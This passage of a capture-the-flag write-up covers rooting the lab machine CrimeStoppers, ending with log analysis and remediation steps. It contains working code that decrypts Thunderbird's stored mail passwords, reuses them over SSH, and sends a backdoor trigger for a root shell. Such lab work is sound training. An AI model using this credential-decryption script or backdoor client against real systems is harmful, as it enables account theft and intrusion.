The third attempt does the key derivation in Python with libraries the image has. The algorithm is the one in the public firepwd tool, written from memory, and the first version died in my own code:
cd ../.. && bin/kali crimestoppers "cd /work && python3 -I artifacts/14-key3.py loot/profile loot"; cmp loot/dom-0.pw loot/dom-1.pw && echo "both stored passwords are the same"
Traceback (most recent call last):
File "/work/artifacts/14-key3.py", line 38, in <module>
db = bsddb(d + "/key3.db"); print("key3.db entries:", sorted(k[:16] for k in db))
File "/work/artifacts/14-key3.py", line 23, in bsddb
key, val, nval = unpack("<H", off[2 + i:4 + i])[0], unpack("<H", off[4 + i:6 + i])[0], unpack("<H", off[6 + i:8 + i])[0]
~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^
struct.error: unpack requires a buffer of 2 bytes
cmp: loot/dom-0.pw: No such file or directory
[lr exit 2]
The script differs from the working one below only in the function that reads the key database. This is the function that failed:
[...]
def bsddb(name):
f = open(name, "rb"); h = f.read(60)
magic, pagesize, nkeys = unpack(">L", h[0:4])[0], unpack(">L", h[12:16])[0], unpack(">L", h[0x38:0x3C])[0]
assert magic == 0x61561, hex(magic)
read, page, items = 0, 1, []
while read < nkeys:
f.seek(pagesize * page); off = f.read((nkeys + 1) * 4 + 2)
vals, i, nval, val, keys = [], 0, 0, 1, 0
while nval != val:
keys += 1
key, val, nval = unpack("<H", off[2 + i:4 + i])[0], unpack("<H", off[4 + i:6 + i])[0], unpack("<H", off[6 + i:8 + i])[0]
vals += [key + pagesize * page, val + pagesize * page]; read += 1; i += 4
vals.append(pagesize * (page + 1)); vals.sort()
for j in range(keys * 2):
f.seek(vals[j]); items.append(f.read(vals[j + 1] - vals[j]))
page += 1
return {items[j + 1]: items[j] for j in range(0, len(items), 2)}
[...]
I had recalled the page walk of the old Berkeley DB hash format wrongly. The fix was to stop recalling and look at the file:
python3 -I -c "
import struct
b=open(\"loot/key3.db\",\"rb\").read()
print(\"magic %x version %d lorder %d bsize %d nkeys %d\" % (struct.unpack(\">LLLL\",b[:16])+struct.unpack(\">L\",b[0x38:0x3c])))
ps=struct.unpack(\">L\",b[12:16])[0]
for pg in range(1,len(b)//ps):
p=b[ps*pg:ps*(pg+1)]
for e,name in ((\"<\",\"LE\"),(\">\",\"BE\")):
n=struct.unpack(e+\"H\",p[:2])[0]
if 0<n<40: print(\"page\",pg,name,\"entries\",n,\"offsets\",struct.unpack(e+\"%dH\"%(n+2),p[2:2+2*(n+2)]))
"; python3 -I -c "
b=open(\"loot/key3.db\",\"rb\").read()
for w in (b\"global-salt\",b\"password-check\",b\"Version\"): print(w, [hex(i) for i in range(len(b)) if b.startswith(w,i)])"
magic 61561 version 2 lorder 1234 bsize 4096 nkeys 4
page 1 LE entries 6 offsets (4089, 4088, 4074, 4022, 4011, 3991, 3973, 3991)
page 2 LE entries 2 offsets (4080, 3933, 3923, 3933)
b'global-salt' ['0x1fab']
b'password-check' ['0x1fea']
b'Version' ['0x1ff9']
[lr exit 0]
Each page starts with a 16-bit count, then that many 16-bit offsets, and the three key names sit at the very end of page 1: items are packed from the page end downwards, key then value. With the parser rewritten to that layout:
cd ../.. && bin/kali crimestoppers "cd /work && python3 -I artifacts/16-key3.py loot/profile loot"; cmp loot/dom-0.pw loot/dom-1.pw && echo "both stored passwords are the same"
# decrypt Thunderbird saved logins from key3.db + logins.json without NSS (the algorithm of the public firepwd tool,
# written from memory; the page parser rewritten after 14 failed): read the Berkeley DB 1.85 hash file, check the empty master password against password-check,
# decrypt the private key entry (SHA1/HMAC key derivation, 3DES-CBC), then 3DES-CBC each login field.
# User names are printed; each password goes to <out dir>/dom-<n>.pw (0600) and only its length is printed.
# usage: 16-key3.py <dir with key3.db and logins.json> <out dir>
import base64, hmac, json, os, sys
from hashlib import sha1
from struct import unpack
from Crypto.Cipher import DES3
from Crypto.Util.number import long_to_bytes
from pyasn1.codec.der import decoder
def bsddb(name):
# each page: u16 count, then count u16 offsets (key, value, key, value...); an item runs from its offset to the
# previous item's offset, the first to the end of the page (layout read from the file in 15-hex)
b = open(name, "rb").read(); ps = unpack(">L", b[12:16])[0]; db = {}
assert unpack(">L", b[0:4])[0] == 0x61561
for pg in range(1, len(b) // ps):
p = b[ps * pg:ps * (pg + 1)]; n = unpack("<H", p[:2])[0]
if not 0 < n < 64 or n % 2:
continue
offs = unpack("<%dH" % n, p[2:2 + 2 * n]); prev, items = ps, []
for o in offs:
items.append(p[o:prev]); prev = o
db.update({items[j]: items[j + 1] for j in range(0, n, 2)})
return db
def moz3des(gsalt, pw, esalt, data):
hp = sha1(gsalt + pw).digest(); pes = esalt + b"\x00" * (20 - len(esalt)); chp = sha1(hp + esalt).digest()
k1 = hmac.new(chp, pes + esalt, sha1).digest(); tk = hmac.new(chp, pes, sha1).digest()
k = k1 + hmac.new(chp, tk + esalt, sha1).digest()
return DES3.new(k[:24], DES3.MODE_CBC, k[-8:]).decrypt(data)
d, out = sys.argv[1], sys.argv[2]
db = bsddb(d + "/key3.db"); print("key3.db entries:", sorted(k[:16] for k in db))
gs, pc = db[b"global-salt"], db[b"password-check"]
ok = moz3des(gs, b"", pc[3:3 + pc[1]], pc[-16:]) == b"password-check\x02\x02"
print("empty master password:", "correct" if ok else "WRONG"); ok or sys.exit(1)
ent = [v for k, v in db.items() if k not in (b"\xf8\x00\x00\x00", b"password-check", b"Version", b"global-salt")][0]
a = decoder.decode(ent[3 + ent[1] + ent[2]:])[0]
priv = moz3des(gs, b"", a[0][1][0].asOctets(), a[1].asOctets())
key = long_to_bytes(int(decoder.decode(decoder.decode(priv)[0][2].asOctets())[0][3])).rjust(24, b"\x00")
def field(b64):
x = decoder.decode(base64.b64decode(b64))[0]
p = DES3.new(key, DES3.MODE_CBC, x[1][1].asOctets()).decrypt(x[2].asOctets())
return p[:-p[-1]]
for n, l in enumerate(json.load(open(d + "/logins.json"))["logins"]):
u, p = field(l["encryptedUsername"]), field(l["encryptedPassword"])
path = "%s/dom-%d.pw" % (out, n)
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600); os.write(fd, p); os.close(fd)
o = os.stat("."); os.chown(path, o.st_uid, o.st_gid)
print("%s user %s password %d characters, printable %s -> %s" % (l["hostname"], u.decode(), len(p), p.decode("latin1").isprintable(), path))
key3.db entries: [b'Version', b'global-salt', b'password-check', b'\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01']
empty master password: correct
imap://crimestoppers.htb user dom@crimestoppers.htb password 8 characters, printable True -> loot/dom-0.pw
smtp://crimestoppers.htb user dom@crimestoppers.htb password 8 characters, printable True -> loot/dom-1.pw
cmp: loot/dom-0.pw: No such file or directory
[lr exit 2]
The empty master password checks out and both logins decrypt to an eight-character password for dom@crimestoppers.htb. Each went to a file with only its length printed. The cmp at the end ran from the wrong directory, so whether the two stored passwords are the same string was never established; only the IMAP one was used.
That password was then tried for the system account over SSH, on IPv6, since the listener table showed :::22 and IPv4 was filtered. sshpass reads it from the file:
cd ../.. && bin/kali crimestoppers "cd /work && sshpass -f loot/dom-0.pw ssh -6 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o ConnectTimeout=15 dom@dead:beef::a0de:adff:fe0d:9bd1 bash -s < artifacts/17-dom.sh | python3 -I ../tools/b64file-filter.py loot" 2>&1 | grep -v "Permanently added"
id
echo "B64FILE:mod_rootme.so:$(base64 -w0 /usr/lib/apache2/modules/mod_rootme.so)"
ls -la /var/log/apache2 | head -20
sudo -n -l 2>&1 | head -3
cat /etc/apache2/mods-enabled/*rootme* 2>&1
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
uid=1000(dom) gid=1000(dom) groups=1000(dom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
saved loot/mod_rootme.so: 48584 bytes
total 340
drwxr-x--- 2 root adm 4096 Dec 27 2017 .
drwxrwxr-x 7 root syslog 4096 Dec 27 2017 ..
-rw-r----- 1 root adm 8304 Nov 26 00:39 access.log
-rw-r----- 1 root adm 1957 Dec 26 2017 access.log.1
-rw-r----- 1 root adm 184 Dec 25 2017 access.log.2.gz
-rw-r----- 1 root adm 297525 Dec 23 2017 access.log.3.gz
-rw-r----- 1 root adm 2536 Nov 26 00:36 error.log
-rw-r----- 1 root adm 526 Dec 27 2017 error.log.1
-rw-r----- 1 root adm 408 Dec 26 2017 error.log.2.gz
-rw-r----- 1 root adm 411 Dec 25 2017 error.log.3.gz
-rw-r----- 1 root adm 2397 Dec 24 2017 error.log.4.gz
-rw-r----- 1 root adm 0 Dec 16 2017 other_vhosts_access.log
sudo: a password is required
LoadModule rootme_module /usr/lib/apache2/modules/mod_rootme.so
[lr exit 0]
It works: dom, four minutes after spawn. I did not try the same password with su dom from the runner, which would have needed no SSH and no IPv6 at all. The module is copied out, the Apache log directory is readable through group adm, and the module is loaded by rootme.load.
Phase 3: root through the module
The mail says the published trigger fails, so the word was changed. Two places could give the new one: the module, and the logs, if anyone ever sent it. Both were read in one call, together with a real answer on sudo:
cd ../.. && bin/kali crimestoppers "cd /work && S=\"sshpass -f loot/dom-0.pw ssh -6 -q -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=15 dom@dead:beef::a0de:adff:fe0d:9bd1\"; \$S bash -s < artifacts/18-logs.sh; echo \"### sudo -S -l as dom, password on stdin from the file\"; { cat loot/dom-0.pw; echo; } | \$S sudo -S -p \\\"\\\" -l 2>&1 | tail -6; echo \"### strings of the module\"; strings -n 6 loot/mod_rootme.so | grep -v -e \"^_\" -e \"^ap_\" -e \"^apr_\" -e GLIBC -e \"^\\.\" | head -60"
cd /var/log/apache2
echo "### requests that are not plain HTTP methods, all access logs"
zcat -f access.log* | awk -F'"' '$2 !~ /^(GET|POST|HEAD|OPTIONS|PROPFIND|PUT|DELETE|TRACE|CONNECT|-) / {print $2}' | sort | uniq -c | sort -rn | head -15
echo "### their full lines (first 5)"
zcat -f access.log* | awk -F'"' '$2 !~ /^(GET|POST|HEAD|OPTIONS|PROPFIND|PUT|DELETE|TRACE|CONNECT|-) /' | head -5
### requests that are not plain HTTP methods, all access logs
10 FunSociety
2 HackTheBox
1 XFSK / HTTP/1.1
1 WhiteRose@DarkArmy.htb
1 /var/www/html/uploads/whiterose.txt
1 sdf
1 rootme
1 root
1 MWEC / HTTP/1.1
1 hACKtHEbOX
1 get-root
1 get root
1 Get FunSociety
1 FomeZfkLav
1 fOMEzFKlAV
### their full lines (first 5)
[...]
::1 - - [25/Dec/2017:12:59:19 -0800] "FunSociety" 400 0 "-" "-"
::1 - - [25/Dec/2017:13:00:00 -0800] "FunSociety" 400 0 "-" "-"
127.0.0.1 - - [25/Dec/2017:13:11:04 -0800] "FunSociety" 400 0 "-" "-"
10.10.10.80 - - [25/Dec/2017:13:11:22 -0800] "FunSociety" 400 0 "-" "-"
### sudo -S -l as dom, password on stdin from the file
Sorry, user dom may not run sudo on crimestoppers.
### strings of the module
process_client
pipe_A
pipe_B
select
shutdown
runshell_raw
setsid
execlp
runshell_pty
openpty
ttyname
malloc
strncpy
putenv
shell_spooler
pidlist
getppid
waitpid
darkarmy
core_module
strcmp
access
rootme_module
libutil.so.1
libc.so.6
mod_rootme.so
[...]
/usr/sbin/apache2 -k start
/bin/sh
HISTFILE=
HOME=/var/tmp
rootme-0.5 DarkArmy Edition Ready
HackTheBox
mod_rootme.c
/var/www/html/uploads/whiterose.txt
GCC: (Ubuntu 6.3.0-12ubuntu2) 6.3.0 20170406
[...]
(Cut: one log line from my own scan carrying my address, the compiler’s noise strings, and header names.)
sudo accepts the password and refuses the user. The access logs hold a set of request lines that are not HTTP at all: FunSociety ten times in December 2017 (the lines shown come from localhost and from one lab address), two method names that are my own scan’s probes (XFSK, MWEC), Get FunSociety, get root, rootme, and what look like someone testing words. The module’s strings show rootme-0.5 DarkArmy Edition Ready, two shell runners, a function called darkarmy, and the string HackTheBox, but not FunSociety.
I also recalled from write-ups that the trigger is get FunSociety: the logs give the word and the mail gives the get <word> form, but I did not arrive at the pair unaided. A raw socket client sends one line in place of an HTTP request and, if something answers like a shell, feeds it a script. The control goes first: the published get root.
python3 -I artifacts/19-rootme.py "get root" | head -12; echo; python3 -I artifacts/19-rootme.py "get FunSociety" artifacts/19-root.sh | python3 -I ../../tools/b64file-filter.py loot | cut -c1-200
# speak to the Apache module on port 80: send one line in place of an HTTP request; if a shell answers, feed it the
# script file given and print what comes back until the end marker or the timeout
# usage: 19-rootme.py "<first line>" [script file]
import socket, sys, time
s = socket.create_connection(("10.129.102.48", 80), timeout=10)
s.sendall(sys.argv[1].encode() + b"\n")
time.sleep(2)
if len(sys.argv) > 2:
s.sendall(open(sys.argv[2], "rb").read() + b"\necho ___E___\n")
s.settimeout(8); data = b""
try:
while b"___E___\n" not in data.replace(b"\r", b"").replace(b"echo ___E___\n", b""):
c = s.recv(65536)
if not c:
break
data += c
except socket.timeout:
pass
print("### first line [%s] -> %d bytes back" % (sys.argv[1], len(data)))
sys.stdout.write(data.decode("latin1"))
exec 2>&1
id
for f in /root/root.txt; do echo "B64FILE:root.txt:$(base64 -w0 $f)"; done
ls -la /root
stat -c '%A %U:%G %s %y %n' /usr/lib/apache2/modules/mod_rootme.so /etc/apache2/mods-enabled/rootme.load
grep -v -e '^#' -e '^$' /etc/sudoers; ls -la /etc/sudoers.d
crontab -l
iptables -S; ip6tables -S
grep -v -e '^#' -e '^$' /etc/ssh/sshd_config | head -20
ls -la /var/www/html/uploads/ | cut -c1-45
### first line [get root] -> 301 bytes back
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>
### first line [get FunSociety] -> 3007 bytes back
rootme-0.5 DarkArmy Edition Ready
uid=0(root) gid=0(root) groups=0(root)
saved artifacts/root.txt: 33 bytes
[...]
get root gets Apache’s own 400. get FunSociety gets the module’s banner and a shell with uid 0, inside the fifth minute after spawn. The trigger is sent from the network with no account; what dom contributed was the read access that confirmed the word. The root flag was saved the same way as the first, unprinted.
Post-Exploitation
The rest of that script’s output is what only root can read:
[...]
total 40
drwx------ 4 root root 4096 Nov 26 00:36 .
drwxr-xr-x 22 root root 4096 Dec 16 2017 ..
lrwxrwxrwx 1 root root 9 Oct 27 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Dec 22 2017 .cache
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1024 Dec 24 2017 .rnd
-rw-r--r-- 1 root root 74 Dec 23 2017 .selected_editor
drwx------ 2 root root 4096 Dec 16 2017 .ssh
-rw-r--r-- 1 root root 292 Dec 24 2017 Congratulations.txt
-r-------- 1 root root 33 Nov 26 00:36 root.txt
-rw-r----- root:dom 48584 2017-12-22 10:16:49.529338034 -0800 /usr/lib/apache2/modules/mod_rootme.so
lrwxrwxrwx root:root 29 2017-12-16 12:38:01.000000000 -0800 /etc/apache2/mods-enabled/rootme.load
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
total 12
drwxr-xr-x 2 root root 4096 Dec 16 2017 .
drwxr-xr-x 89 root root 4096 Oct 27 2023 ..
-r--r----- 1 root root 958 Jan 13 2017 README
[...]
# m h dom mon dow command
## Not sure if users will get anothers IP. So clean up files older than 1 day.
0 * * * * find /var/www/html/uploads/*/ -type f -mtime +1 -exec rm -f {} \;
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -j REJECT --reject-with icmp-host-prohibited
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
total 76
drwxrwxrwx 3 root dom 4096 Nov 26 0
drwxr-xr-x 7 root dom 4096 Dec 23
drwxr-xr-x 2 www-data www-data 4096 Nov 26 0
-rw-r--r-- 1 root dom 25 Dec 16
-rw-r--r-- 1 root dom 56469 Dec 16
-rw-r--r-- 1 dom dom 251 Dec 23
___E___
[...]
(Cut: the comment header of the crontab.)
The module file is root:dom 640, which is why dom could read it and www-data could not. The sudoers file has three Defaults lines and no rule at all, so membership of the sudo group grants nothing here. The IPv4 chain accepts port 80 and rejects the rest with icmp-host-prohibited, which accounts for the host-prohibited answers the scan saw but not for their number: the rule rejects every port but 80, yet only 71 of 65,534 probes got the ICMP reply. At about one reply a second over a 67-second scan, the kernel’s ICMP rate limit is the likely cause; that is inferred from the rate, icmp_ratelimit was not read. The IPv6 chain has three ACCEPT policies and no rule. And an hourly root job deletes uploaded tips older than a day.
Why FunSociety is not in the strings was answered after the machine was stopped, from the copy of the module:
cd ../.. && bin/kali crimestoppers "cd /work && objdump -d -M intel --no-show-raw-insn loot/mod_rootme.so | awk \"/<darkarmy>:/,/ret/\" | head -60; objdump -s -j .rodata loot/mod_rootme.so | head -14"
0000000000001ac0 <darkarmy>:
1ac0: mov edi,0xb
1ac5: sub rsp,0x8
1ac9: call f20 <malloc@plt>
1ace: lea rdi,[rip+0x11d] # 1bf2 <_fini+0x7a>
1ad5: lea rsi,[rip+0x121] # 1bfd <_fini+0x85>
1adc: xor edx,edx
1ade: xchg ax,ax
1ae0: movzx ecx,BYTE PTR [rdi+rdx*1]
1ae4: xor cl,BYTE PTR [rsi+rdx*1]
1ae7: mov BYTE PTR [rax+rdx*1],cl
1aea: add rdx,0x1
1aee: cmp rdx,0xa
1af2: jne 1ae0 <darkarmy+0x20>
1af4: mov BYTE PTR [rax+0xa],0x0
1af8: add rsp,0x8
1afc: ret
loot/mod_rootme.so: file format elf64-x86-64
Contents of section .rodata:
1b88 ff01fe02 002f7573 722f7362 696e2f61 ...../usr/sbin/a
1b98 70616368 6532202d 6b207374 61727400 pache2 -k start.
1ba8 62617368 002f6269 6e2f7368 00484953 bash./bin/sh.HIS
1bb8 5446494c 453d0048 4f4d453d 2f766172 TFILE=.HOME=/var
1bc8 2f746d70 000a0000 726f6f74 6d652d30 /tmp....rootme-0
1bd8 2e352044 61726b41 726d7920 45646974 .5 DarkArmy Edit
1be8 696f6e20 52656164 79000e14 0d383b0b ion Ready....8;.
1bf8 0c271b01 00486163 6b546865 426f7800 .'...HackTheBox.
1c08 6d6f645f 726f6f74 6d652e63 00000000 mod_rootme.c....
1c18 2f766172 2f777777 2f68746d 6c2f7570 /var/www/html/up
[lr exit 0]
darkarmy allocates eleven bytes and fills ten of them with the XOR of two tables in read-only data, one at 0x1bf2 and one at 0x1bfd, which is the string HackTheBox. Doing the same by hand:
# local: the module holds "HackTheBox" and a second 10-byte table next to it; print the XOR of the two
# usage: 24-xor.py <module> <hex offset of the table>
import sys
b = open(sys.argv[1], "rb").read(); o = int(sys.argv[2], 16)
k = b"HackTheBox"; t = b[o:o + 10]
print("table at %#x: %s" % (o, t.hex()))
print("HackTheBox xor table:", bytes(x ^ y for x, y in zip(k, t)).decode("latin1"))
python3 -I artifacts/24-xor.py loot/mod_rootme.so 1bf2
table at 0x1bf2: 0e140d383b0b0c271b01
HackTheBox xor table: FunSociety
[lr exit 0]
The word comes out of the binary without the logs and without memory. I did not disassemble the call site that compares it with the request, so how the module tells get FunSociety from a bare FunSociety is known only from behaviour: the bare word is in the 2017 logs with status 400.
Cleanup was done as root through the module: list what the session wrote, remove it by name, then confirm the runner URL no longer executes anything.
python3 -I artifacts/19-rootme.py "get FunSociety" artifacts/20-list.sh | cut -c1-200
exec 2>&1
find /var/www/html/uploads -mindepth 1 -newer /var/www/html/uploads/whiterose.txt | sed 's/10\.10\.[0-9]*\.[0-9]*/10.10.14.X/'
ls -la /dev/shm | wc -l
cat /root/Congratulations.txt
### first line [get FunSociety] -> 443 bytes back
rootme-0.5 DarkArmy Edition Ready
/var/www/html/uploads/10.10.14.X
/var/www/html/uploads/10.10.14.X/d0ab8aec7c99c20a7489a45ff4bcf263f812085f
3
Hope you enjoyed the machine! The root password is crackable, but I would be surprised if anyone managed to crack it without watching the show. But who knows it is DESCrypted after all so BruteForce
Oh and kudo's if you just SSH'd in via IPv6 once you got dom's pw :)
-Ippsec
___E___
[lr exit 0]
python3 -I artifacts/19-rootme.py "get FunSociety" artifacts/22-clean.sh | cut -c1-200; printf "runner after cleanup: "; curl -s -m 15 -b admin=1 --data "s=aWQK" "$(cat scans/runner.url)" | grep -c "uid="
exec 2>&1
d=$(ls -d /var/www/html/uploads/*/); echo "$d" | wc -l
rm -f "${d}d0ab8aec7c99c20a7489a45ff4bcf263f812085f" && rmdir "$d" && echo removed
ls -la /var/www/html/uploads | cut -c1-45
### first line [get FunSociety] -> 286 bytes back
rootme-0.5 DarkArmy Edition Ready
1
removed
total 72
drwxrwxrwx 2 root dom 4096 Nov 26 00:42 .
drwxr-xr-x 7 root dom 4096 Dec 23 2017 ..
-rw-r--r-- 1 root dom 25 Dec 16 2017 inde
-rw-r--r-- 1 root dom 56469 Dec 16 2017 sour
-rw-r--r-- 1 dom dom 251 Dec 23 2017 whit
___E___
runner after cleanup: 0
[lr exit 1]
The exit status 1 on the last line is grep -c reporting zero matches, which is the result wanted. The note in /root says the root password hash is crackable DES crypt; that was not attempted. Both flags were submitted and the platform’s record saved:
cd ../.. && bin/htb info crimestoppers | python3 -I -c 'import json,sys; d=json.load(sys.stdin); print({k: d[k] for k in ("name","release","publishable","user_owned","root_owned")})'
{'name': 'CrimeStoppers', 'release': '2018-01-06', 'publishable': True, 'user_owned': True, 'root_owned': True}
[lr exit 0]
Defensive Analysis
The last call before the stop read what the session had left in the logs, with client addresses masked on the target side:
python3 -I artifacts/19-rootme.py "get FunSociety" artifacts/23-traces.sh
exec 2>&1
m() { sed -e 's/10\.10\.1[0-9]\.[0-9]*/10.10.14.X/g' -e 's/dead:beef:[0-9a-f:]*/dead:beef:X/g' | cut -c1-230; }
echo "### access.log: lines of this session by kind"; awk -F'"' '{print $2}' /var/log/apache2/access.log | cut -c1-60 | sed 's/[0-9a-f]\{40\}/<sha1>/; s/10\.10\.1[0-9]\.[0-9]*/10.10.14.X/' | sort | uniq -c | sort -rn | head -20
echo "### access.log: the trigger lines"; grep -i -e funsociety -e '"get root' /var/log/apache2/access.log | m
echo "### error.log tail"; tail -5 /var/log/apache2/error.log | m
echo "### auth.log: sshd and sudo today"; grep -a -e sshd -e sudo /var/log/auth.log | tail -8 | m
### first line [get FunSociety] -> 2234 bytes back
rootme-0.5 DarkArmy Edition Ready
### access.log: lines of this session by kind
12 OPTIONS / HTTP/1.1
6 POST /?op=zip://uploads/10.10.14.X/d0ab8aec7c99c20a7489a45
5 GET / HTTP/1.1
4 GET /?op=nosuch HTTP/1.1
3 PROPFIND / HTTP/1.1
3 GET /?op=upload HTTP/1.1
3 GET / HTTP/1.0
2 POST / HTTP/1.1
2 GET /robots.txt HTTP/1.1
2 GET /?op=view HTTP/1.1
2 GET /?op=list HTTP/1.1
1 get root
1 XFSK / HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /?op=upload HTTP/1.1
1 HEAD / HTTP/1.1
1 GET /nmaplowercheck1795682244 HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /evox/about HTTP/1.1
1 GET /HNAP1 HTTP/1.1
### access.log: the trigger lines
10.10.14.X - - [26/Nov/2026:00:41:44 -0800] "get root" 400 301 "-" "-"
### error.log tail
[Fri Feb 09 02:26:00.826591 2024] [core:notice] [pid 796] AH00094: Command line: '/usr/sbin/apache2'
[Fri Feb 09 02:28:54.219386 2024] [mpm_prefork:notice] [pid 796] AH00169: caught SIGTERM, shutting down
[Thu Nov 26 00:36:22.661705 2026] [mpm_prefork:notice] [pid 868] AH00163: Apache/2.4.25 (Ubuntu) configured -- resuming normal operations
[Thu Nov 26 00:36:22.666748 2026] [core:notice] [pid 868] AH00094: Command line: '/usr/sbin/apache2'
[Thu Nov 26 00:41:44.326127 2026] [core:error] [pid 882] [client 10.10.14.X:53364] AH00126: Invalid URI in request get root
### auth.log: sshd and sudo today
Nov 26 00:41:20 crimestoppers sshd[1184]: Disconnected from dead:beef:X port 54238
Nov 26 00:41:20 crimestoppers sshd[1163]: pam_unix(sshd:session): session closed for user dom
Nov 26 00:41:22 crimestoppers sshd[1196]: Accepted password for dom from dead:beef:X port 54246 ssh2
Nov 26 00:41:22 crimestoppers sshd[1196]: pam_unix(sshd:session): session opened for user dom by (uid=0)
Nov 26 00:41:23 crimestoppers sudo: dom : command not allowed ; TTY=unknown ; PWD=/home/dom ; USER=root ; COMMAND=list
Nov 26 00:41:23 crimestoppers sshd[1217]: Received disconnect from dead:beef:X port 54246:11: disconnected by user
Nov 26 00:41:23 crimestoppers sshd[1217]: Disconnected from dead:beef:X port 54246
Nov 26 00:41:23 crimestoppers sshd[1196]: pam_unix(sshd:session): session closed for user dom
___E___
[lr exit 0]
Phase by phase, from that output and nothing else:
The include and the upload are loud. Six POST requests carry op=zip://uploads/... in the request line, and the source disclosure requests carry php://filter the same way (outside the twenty kinds printed here; I did not print them separately). A rule on :// in a query parameter would match every one, since no page name contains it.
The profile theft leaves nothing in the logs read here. Audit rules on the profile directory would be the place to see it; none were checked for.
The SSH login is recorded. Accepted password for dom from dead:beef:... is an ordinary line, but on a host meant to expose port 80 only, any accepted SSH session from outside is the alert. The sudo refusal is logged too.
The backdoor’s success is silent; its failures are not. By the time this output was taken the trigger had been sent in three earlier calls and in this one, each returning a root shell, and the search of the current access log for funsociety finds none of them. The only matching line is the control: get root, status 400, with AH00126: Invalid URI in the error log. I did not read the code that decides whether the module answers before logging or suppresses the entry. Either way the access log shows wrong guesses and never the right one, and the wrong guesses of 2017 gave the word away. A network sensor would see the banner rootme-0.5 DarkArmy Edition Ready leaving port 80, which no HTTP response starts with. On the host, rkhunter had already flagged the module, and the dpkg -S check of step 13 names the file in one line.
Remediation
None of these was applied on the machine; each names the check that would show it holds.
- Remove
rootme.loadandmod_rootme.so, restart Apache, and treat the host as compromised: whoever installed a root backdoor had root. Check: the raw lineget FunSocietyreturns Apache’s 400. - Replace the include with a fixed map from page names to files. Check:
?op=php://filter/convert.base64-encode/resource=indexreturnsno such page. - As depth only, since item 2 is the fix: store tips outside the web root and stop listing names in
list.php. On its own this closes nothing, because theopcheck would pass an absolutezip:///pathjust as well.allow_url_include=Offis not a fix either: by PHP’s documentation it does not governzip://orphp://filteron local files, which I did not test on this host. Check: the request in item 2. - Remove the profile copy or make it mode 700 and owned by its user. Check:
find /home -perm -o+r -name logins.jsonas an unprivileged account prints nothing. - Give the system account a password that is not the mail password, and rotate both:
sudo -Saccepted the mail password fordom, so PAM takes it everywhere,suincluded. A master password in the mail client and key-only SSH (PasswordAuthentication no) are additions, not the fix. Check: the stored mail password is refused bysu dom. - Mirror the IPv4 rules in
ip6tables, with the reject type IPv6 uses. Check:ip6tables -Sends in a REJECT rule and port 22 on the IPv6 address is closed from outside. This session did not scan the IPv6 address; it read the rule set as root. - Baseline
/usr/lib/apache2/modulesand alert on any filedpkg -Scannot attribute. Check: the command in step 13 prints only the knownlibphp7.sosymlink.
Key Takeaways
- A blocklist on an include path has to anticipate every wrapper the runtime supports; a map of page names anticipates nothing.
- “The attacker cannot choose the file name” is not a control when the application returns the name and the consumer only needs a path.
- A firewall is two rule sets. A careful IPv4 policy and a listener on
:::22were the route taken to the second foothold. - When a tool is missing, look at the file format before writing a parser from memory: one hex dump fixed what three attempts could not.
- A backdoor that hides its successes is still found by its failures: the logs
admcan read held the trigger word.